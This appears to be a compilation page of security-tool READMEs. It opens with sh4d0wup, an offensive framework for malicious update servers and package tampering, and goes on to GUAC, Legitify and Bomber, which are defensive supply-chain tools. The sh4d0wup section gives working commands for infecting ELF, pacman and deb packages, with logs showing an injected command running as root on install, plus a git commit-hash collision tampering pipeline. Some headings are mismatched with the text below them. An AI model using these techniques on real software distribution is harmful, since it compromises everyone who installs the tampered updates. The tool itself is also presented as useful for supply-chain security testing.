Sh4D0Wup - Signing-key Abuse And Update Exploitation Framework

% docker run -it --rm ghcr.io/kpcyrd/sh4d0wup:edge -h
Usage: sh4d0wup [OPTIONS] <COMMAND>

Commands:
  bait         Start a malicious update server
  front        Bind a http/https server but forward everything unmodified
  infect       High level tampering, inject additional commands into a package
  tamper       Low level tampering, patch a package database to add malicious packages, cause updates or influence dependency resolution
  keygen       Generate signing keys with the given parameters
  sign         Use signing keys to generate signatures
  hsm          Interact with hardware signing keys
  build        Compile an attack based on a plot
  check        Check if the plot can still execute correctly against the configured image
  req          Emulate a http request to test routing and selectors
  completion   s  Generate shell completions
  help         Print this message or the help of the given subcommand(s)

Options:
  -v, --verbose...  Increase logging output (can be used multiple times)
  -q, --quiet...    Reduce logging output (can be used multiple times)
  -h, --help        Print help information
  -V, --version     Print version information

What are shadow updates?

Have you ever wondered if the update you downloaded is the same one everybody else gets or did you get a different one that was made just for you? Shadow updates are updates that officially don't exist but carry valid signatures and would get accepted by clients as genuine. This may happen if the signing key is compromised by hackers or if a release engineer with legitimate access turns grimy.

sh4d0wup is a malicious http/https update server that acts as a reverse proxy in front of a legitimate server and can infect + sign various artifact formats. Attacks are configured in plots that describe how http request routing works, how artifacts are patched/generated, how they should be signed and with which key. A route can have selectors so it matches only if eg. the user-agent matches a pattern or if the client is connecting from a specific ip address. For development and testing, mock signing keys/certificates can be generated and marked as trusted.

Compile a plot

Some plots are more complex to run than others, to avoid long startup time due to downloads and artifact patching, you can build a plot in advance. This also allows to create signatures in advance.

sh4d0wup build ./contrib/plot-hello-world.yaml -o ./plot.tar.zst

Run a plot

This spawns a malicious http update server according to the plot. This also accepts yaml files but they may take longer to start.

sh4d0wup bait -B 0.0.0.0:1337 ./plot.tar.zst

You can find examples here:

• contrib/plot-archlinux.yaml
• contrib/plot-debian.yaml
• contrib/plot-rustup.yaml
• contrib/plot-curl-sh.yaml

Infect an artifact

• sh4d0wup infect elf
• sh4d0wup infect pacman
• sh4d0wup infect deb
• sh4d0wup infect oci

sh4d0wup infect elf

% sh4d0wup infect elf /usr/bin/sh4d0wup -c id a.out
[2022-12-19T23:50:52Z INFO  sh4d0wup::infect::elf] Spawning C compiler...
[2022-12-19T23:50:52Z INFO  sh4d0wup::infect::elf] Generating source code...
[2022-12-19T23:50:57Z INFO  sh4d0wup::infect::elf] Waiting for compile to finish...
[2022-12-19T23:51:01Z INFO  sh4d0wup::infect::elf] Successfully generated binary
% ./a.out help
uid=1000(user) gid=1000(user) groups=1000(user),212(rebuilderd),973(docker),998(wheel)
Usage: a.out [OPTIONS] <COMMAND>

Commands:
  bait         Start a malicious update server
  infect       High level tampering, inject additional commands into a package
  tamper       Low level tampering, patch a package database to add malicious packages, cause updates or influence dependency resolution
  keygen       Generate signing keys with the given parameters
  sign         Use signing keys to generate signatures
  hsm          Intera   ct with hardware signing keys
  build        Compile an attack based on a plot
  check        Check if the plot can still execute correctly against the configured image
  completions  Generate shell completions
  help         Print this message or the help of the given subcommand(s)

Options:
  -v, --verbose...  Turn debugging information on
  -h, --help        Print help information

sh4d0wup infect pacman

% sh4d0wup infect pacman --set 'pkgver=0.2.0-2' /var/cache/pacman/pkg/sh4d0wup-0.2.0-1-x86_64.pkg.tar.zst -c id sh4d0wup-0.2.0-2-x86_64.pkg.tar.zst
[2022-12-09T16:08:11Z INFO  sh4d0wup::infect::pacman] This package has no install hook, adding one from scratch...
% sudo pacman -U sh4d0wup-0.2.0-2-x86_64.pkg.tar.zst
loading packages...
resolving dependencies...
looking for conflicting packages...

Packages (1) sh4d0wup-0.2.0-2

Total Installed Size:  13.36 MiB
Net Upgrade Size:       0.00 MiB

:: Proceed with installation? [Y/n]
(1/1) checking keys in keyring                                         [#######################################] 100%
(1/1) checking package integrity                                       [#######################################] 100%
(1/1) loading package files                                            [#######################################] 100%
(1/1) checking for file conflic   ts                                      [#######################################] 100%
(1/1) checking available disk space                                    [#######################################] 100%
:: Processing package changes...
(1/1) upgrading sh4d0wup                                               [#######################################] 100%
uid=0(root) gid=0(root) groups=0(root)
:: Running post-transaction hooks...
(1/2) Arming ConditionNeedsUpdate...
(2/2) Notifying arch-audit-gtk

sh4d0wup infect deb

% sh4d0wup infect deb /var/cache/apt/archives/apt_2.2.4_amd64.deb -c id ./apt_2.2.4-1_amd64.deb --set Version=2.2.4-1
[2022-12-09T16:28:02Z INFO  sh4d0wup::infect::deb] Patching "control.tar.xz"
% sudo apt install ./apt_2.2.4-1_amd64.deb
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
Note, selecting 'apt' instead of './apt_2.2.4-1_amd64.deb'
Suggested packages:
  apt-doc aptitude | synaptic | wajig dpkg-dev gnupg | gnupg2 | gnupg1 powermgmt-base
Recommended packages:
  ca-certificates
The following packages will be upgraded:
  apt
1 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 0 B/1491 kB of archives.
After this operation, 0 B of additional disk space will be used.
Get:1 /apt_2.2.4-1_amd64.deb apt amd64 2.2.4-1 [1491 kB]
debconf: de   laying package configuration, since apt-utils is not installed
(Reading database ... 6661 files and directories currently installed.)
Preparing to unpack /apt_2.2.4-1_amd64.deb ...
Unpacking apt (2.2.4-1) over (2.2.4) ...
Setting up apt (2.2.4-1) ...
uid=0(root) gid=0(root) groups=0(root)
Processing triggers for libc-bin (2.31-13+deb11u5) ...

sh4d0wup infect oci

% git cat-file commit HEAD | ssh lots-o-time nice sh4d0wup tamper git-commit --stdin --collision-prefix 7777 --strip-header | git hash-object -w -t commit --stdin

git show 777754fde8...
git branch some-name 777754fde8...

GUAC - Aggregates Software Security Metadata Into A High Fidelity Graph Database

Note: GUAC is under active development - if you are interested in contributing, please look at contributor guide and the "express interest" issue

Graph for Understanding Artifact Composition (GUAC) aggregates software security metadata into a high fidelity graph database—normalizing entity identities and mapping standard relationships between them. Querying this graph can drive higher-level organizational outcomes such as audit, policy, risk management, and even developer assistance.

Conceptually, GUAC occupies the “aggregation and synthesis” layer of the software supply chain transparency logical model:

A few examples of questions answered by GUAC include:

Quickstart

Refer to the Setup + Demo document to learn how to prepare your environment and try GUAC out!

Architecture

Here is an overview of the architecture of GUAC:

Supported input formats

• CycloneDX
• Dead Simple Signing Envelope
• In-toto ITE6
• OpenSSF Scorecard
• SLSA
• SPDX

Additional References

• GUAC Intro Slides
• GUAC Design Doc

Communication

We encourage discussions to be done on github issues. We also have a public slack channel on the OpenSSF slack.

For security issues or code of conduct concerns, an e-mail should be sent to guac-maintainers@googlegroups.com.

Governance

Information about governance can be found here.

Legitify - Detect And Remediate Misconfigurations And Security Risks Across All Your GitHub Assets

Installation

1. You can download the latest legitify release from https://github.com/Legit-Labs/legitify/releases, each archive contains:

• Legitify binary for the desired platform
• Built-in policies provided by Legit Security

2. From source with the following steps:

git clone git@github.com:Legit-Labs/legitify.git
go run main.go analyze ...

Provenance

To enhance the software supply chain security of legitify's users, as of v0.1.6, every legitify release contains a SLSA Level 3 Provenacne document.
The provenance document refers to all artifacts in the release, as well as the generated docker image.
You can use SLSA framework's official verifier to verify the provenance.
Example of usage for the darwin_arm64 architecture for the v0.1.6 release:

VERSION=0.1.6
ARCH=darwin_arm64
./slsa-verifier verify-artifact --source-branch main --builder-id 'https://github.com/slsa-framework/slsa-github-generator/.github/workflows/generator_generic_slsa3.yml@refs/tags/v1.2.2' --source-uri "git+https://github.com/Legit-Labs/legitify" --provenance-path multiple.intoto.jsonl ./legitify_${VERSION}_${ARCH}.tar.gz

Requirements

1. To get the most out of legitify, you need to be an owner of at least one GitHub organization. Otherwise, you can still use the tool if you're an admin of at least one repository inside an organization, in which case you'll be able to see only repository-related policies results.
2. legitify requires a GitHub personal access token (PAT) to analyze your resources successfully, which can be either provided as an argument (-t) or as an environment variable ($GITHUB_ENV). The PAT needs the following scopes for full analysis:

admin:org, read:enterprise, admin:org_hook, read:org, repo, read:repo_hook

See Creating a Personal Access Token for more information.
Fine-grained personal access tokens are currently not supported because they do not support GitHub's GraphQL (https://github.blog/2022-10-18-introducing-fine-grained-personal-access-tokens-for-github/)

Usage

LEGITIFY_TOKEN=<your_token> legitify analyze

By default, legitify will check the policies against all your resources (organizations, repositories, members, actions).

You can control which resources will be analyzed with command-line flags namespace and org:

• --namespace (-n): will analyze policies that relate to the specified resources
• --org: will limit the analysis to the specified organizations

LEGITIFY_TOKEN=<your_token> legitify analyze --org org1,org2 --namespace organization,member

The above command will test organization and member policies against org1 and org2.

GitHub Enterprise Support

You can run legitify against a GitHub Enterprise instance if you set the endpoint URL in the environment variable SERVER_URL:

export SERVER_URL="https://github.example.com/"
LEGITIFY_TOKEN=<your_token> legitify analyze --org org1,org2 --namespace organization,member

GitLab Cloud/Server Support

To run legitify against GitLab Cloud set the scm flag to gitlab --scm gitlab, to run against GitLab Server you need to provide also SERVER_URL:

export SERVER_URL="https://gitlab.example.com/"
LEGITIFY_TOKEN=<your_token> legitify analyze --namespace organization --scm gitlab

Namespaces

Namespaces in legitify are resources that are collected and run against the policies. Currently, the following namespaces are supported:

1. organization - organization level policies (e.g., "Two-Factor Authentication Is Not Enforced for the Organization")
2. actions - organization GitHub Actions policies (e.g., "GitHub Actions Runs Are Not Limited To Verified Actions")
3. member - organization members policies (e.g., "Stale Admin Found")
4. repository - repository level policies (e.g., "Code Review By At Least Two Reviewers Is Not Enforced")
5. runner_group - runner group policies (e.g, "runner can be used by public repositories")

By default, legitify will analyze all namespaces. You can limit only to selected ones with the --namespace flag, and then a comma separated list of the selected namespaces.

Output Options

By default, legitify will output the results in a human-readable format. This includes the list of policy violations listed by severity, as well as a summary table that is sorted by namespace.

Output Formats

Using the --output-format (-f) flag, legitify supports outputting the results in the following formats:

1. human-readable - Human-readable text (default).
2. json - Standard JSON.

Output Schemes

Using the --output-scheme flag, legitify supports outputting the results in different grouping schemes. Note: --output-format=json must be specified to output non-default schemes.

1. flattened - No grouping; A flat listing of the policies, each with its violations (default).
2. group-by-namespace - Group the policies by their namespace.
3. group-by-resource - Group the policies by their resource e.g. specific organization/repository.
4. group-by-severity - Group the policies by their severity.

Output Destinations

• --output-file - full path of the output file (default: no output file, prints to stdout).
• --error-file - full path of the error logs (default: ./error.log).

Coloring

When outputting in a human-readable format, legitify support the conventional --color[=when] flag, which has the following options:

• auto - colored output if stdout is a terminal, uncolored otherwise (default).
• always - colored output regardless of the output destination.
• none - uncolored output regardless of the output destination.

Misc

• Use the --failed-only flag to filter-out passed/skipped checks from the result.

Scorecard Support

scorecard is an OSSF's open-source project:

Scorecards is an automated tool that assesses a number of important heuristics ("checks") associated with software security and assigns each check a score of 0-10. You can use these scores to understand specific areas to improve in order to strengthen the security posture of your project. You can also assess the risks that dependencies introduce, and make informed decisions about accepting these risks, evaluating alternative solutions, or working with the maintainers to make improvements.

legitify supports running scorecard for all of the organization's repositories, enforcing score policies and showing the results using the --scorecard flag:

• no - do not run scorecard (default).
• yes - run scorecard and employ a policy that alerts on each repo score below 7.0.
• verbose - run scorecard, employ a policy that alerts on each repo score below 7.0, and embed its output to legitify's output.

legitify runs the following scorecard checks:

Policies

legitify comes with a set of policies in the policies/github directory. These policies are documented here.

In addition, you can use the --policies-path (-p) flag to specify a custom directory for OPA policies.

Contribution

Thank you for considering contributing to Legitify! We encourage and appreciate any kind of contribution. Here are some resources to help you get started:

• Contribution Guide
• Code of Conduct
• Open an Issue
• Open a Pull Request

Bomber - Scans Software Bill Of Materials (SBOMs) For Security Vulnerabilities

bomber is an application that scans SBOMs for security vulnerabilities.

Overview

So you've asked a vendor for an Software Bill of Materials (SBOM) for one of their closed source products, and they provided one to you in a JSON file... now what?

The first thing you're going to want to do is see if any of the components listed inside the SBOM have security vulnerabilities, and what kind of licenses these components have. This will help you identify what kind of risk you will be taking on by using the product. Finding security vulnerabilities and license information for components identified in an SBOM is exactly what bomber is meant to do. bomber can read any JSON or XML based CycloneDX format, or a JSON SPDX or Syft formatted SBOM, and tell you pretty quickly if there are any vulnerabilities.

What SBOM formats are supported?

There are quite a few SBOM formats available today. bomber supports the following:

• SPDX
• CycloneDX
• Syft

Providers

bomber supports multiple sources for vulnerability information. We call these providers. Currently, bomber uses OSV as the default provider, but you can also use the Sonatype OSS Index.

Please note that each provider supports different ecosystems, so if you're not seeing any vulnerabilities in one, try another. It is also important to understand that each provider may report different vulnerabilities. If in doubt, look at a few of them.

If bomber does not find any vulnerabilities, it doesn't mean that there aren't any. All it means is that the provider being used didn't detect any, or it doesn't support the ecosystem. Some providers have vulnerabilities that come back with no Severity information. In this case, the Severity will be listed as "UNDEFINED"

What is an ecosystem?

An ecosystem is simply the package manager, or type of package. Examples include rpm, npm, gems, etc. Each provider supports different ecosystems.

OSV

OSV is the default provider for bomber. It is an open, precise, and distributed approach to producing and consuming vulnerability information for open source.

You don't need to register for any service, get a password, or a token. Just use bomber without a provider flag and away you go like this:

bomber scan test.cyclonedx.json

Supported ecosystems

At this time, the OSV supports the following ecosystems:

• Android
• crates.io
• Debian
• Go
• Maven
• NPM
• NuGet
• Packagist
• PyPI
• RubyGems

and others...

OSV Notes

The OSV provider is pretty slow right now when processing large SBOMs. At the time of this writing, their batch endpoint is not functioning, so bomber needs to call their API one package at a time.

Additionally, there are cases where OSV does not return a Severity, or a CVE/CWE. In these rare cases, bomber will output "UNSPECIFIED", and "UNDEFINED" respectively.

Sonatype OSS Index

In order to use bomber with the Sonatype OSS Index you need to get an account. Head over to the site, and create a free account, and make note of your username (this will be the email that you registered with).

Once you log in, you'll want to navigate to your settings and make note of your API token. Please don't share your token with anyone.

Supported ecosystems

At this time, the Sonatype OSS Index supports the following ecosystems:

• Maven
• NPM
• Go
• PyPi
• Nuget
• RubyGems
• Cargo
• CocoaPods
• Composer
• Conan
• Conda
• CRAN
• RPM
• Swift

Installation

Mac

You can use Homebrew to install bomber using the following:

brew tap devops-kung-fu/homebrew-tap
brew install devops-kung-fu/homebrew-tap/bomber

If you do not have Homebrew, you can still download the latest release (ex: bomber_0.1.0_darwin_all.tar.gz), extract the files from the archive, and use the bomber binary.

If you wish, you can move the bomber binary to your /usr/local/bin directory or anywhere on your path.

Linux

To install bomber, download the latest release for your platform and install locally. For example, install bomber on Ubuntu:

dpkg -i bomber_0.1.0_linux_arm64.deb

Using bomber

You can scan either an entire folder of SBOMs or an individual SBOM with bomber. bomber doesn't care if you have multiple formats in a single folder. It'll sort everything out for you.

Note that the default output for bomber is to STDOUT. Options to output in HTML or JSON are described later in this document.

Single SBOM scan

# Using OSV (the default provider) which does not require any credentials
bomber scan spdx.sbom.json

# Using a provider that requires credentials (ossindex)
bomber scan --provider=xxx --username=xxx --token=xxx spdx-sbom.json

If the provider finds vulnerabilities you'll see an output similar to the following:

If the provider doesn't return any vulnerabilities you'll see something like the following:

Entire folder scan

This is good for when you receive multiple SBOMs from a vendor for the same product. Or, maybe you want to find out what vulnerabilities you have in your entire organization. A folder scan will find all components, de-duplicate them, and then scan them for vulnerabilities.

# scan a folder of SBOMs (the following command will scan a folder in your current folder named "sboms")
bomber scan --username=xxx --token=xxx ./sboms

You'll see a similar result to what a Single SBOM scan will provide.

Output to HTML

If you would like a readable report generated with detailed vulnerability information, you can utilized the --output flag to save a report to an HTML file.

Example command:

bomber scan bad-bom.json --output=html

This will save a file in your current folder in the format "YYYY-MM-DD-HH-MM-SS-bomber-results.html". If you open this file in a web browser, you'll see output like the following:

Output to JSON

bomber can output vulnerability data in JSON format using the --output flag. The default output is to STDOUT. There is a ton of more information in the JSON output than what gets displayed in the terminal. You'll be able to see a package description and what it's purpose is, what the vulnerability name is, a summary of the vulnerability, and more.

Example command:

bomber scan bad-bom.json --output=json

Advanced stuff

If you wish, you can set two environment variables to store your credentials, and not have to type them on the command line. Check out the Environment Variables information later in this README.

Environment Variables

If you don't want to enter credentials all the time, you can add the following to your .bashrc or .bash_profile

export BOMBER_PROVIDER_USERNAME={{your OSS Index user name}}
export BOMBER_PROVIDER_TOKEN={{your OSS Index API Token}}

Messing around

If you want to kick the tires on bomber you'll find a selection of test SBOMs in the test folder.

Notes

• It's pretty rare to see SBOMs with license information. Most of the time, the generators like Syft need a flag like --license. If you need license info, make sure you ask for it with the SBOM.
• Hate to say it, but SPDX is wonky. If you don't get any results on an SPDX file, try using a CycloneDX file. In general you should always try to get CycloneDX SBOMs from your vendors.
• OSV. It's great, but the API is also wonky. They have a batch endpoint that would make it a ton quicker to get information back, but it doesn't work. bomber needs to send one PURL at a time to get vulnerabilities back, so in a big SBOM it will take some time. We'll keep an eye on that.
• OSV has another issue where the ecosystem doesn't always return vulnerabilities when you pass it to their API. We had to remove passing this to the API to get anything to return. They also don't echo back the ecosystem so we can't check to ensure that if we pass one ecosystem to it, that we are getting a vulnerability for the same one back.

Contributing

If you would like to contribute to the development of bomber please refer to the CONTRIBUTING.md file in this repository. Please read the CODE_OF_CONDUCT.md file before contributing.

Software Bill of Materials

bomber uses Syft to generate a Software Bill of Materials every time a developer commits code to this repository (as long as Hookzis being used and is has been initialized in the working directory). More information for CycloneDX is available here.

The current CycloneDX SBOM for bomber is available here.

Credits

A big thank-you to our friends at Smashicons for the bomber logo.

Big kudos to our OSS homies at Sonatype for providing a wicked tool like the Sonatype OSS Index.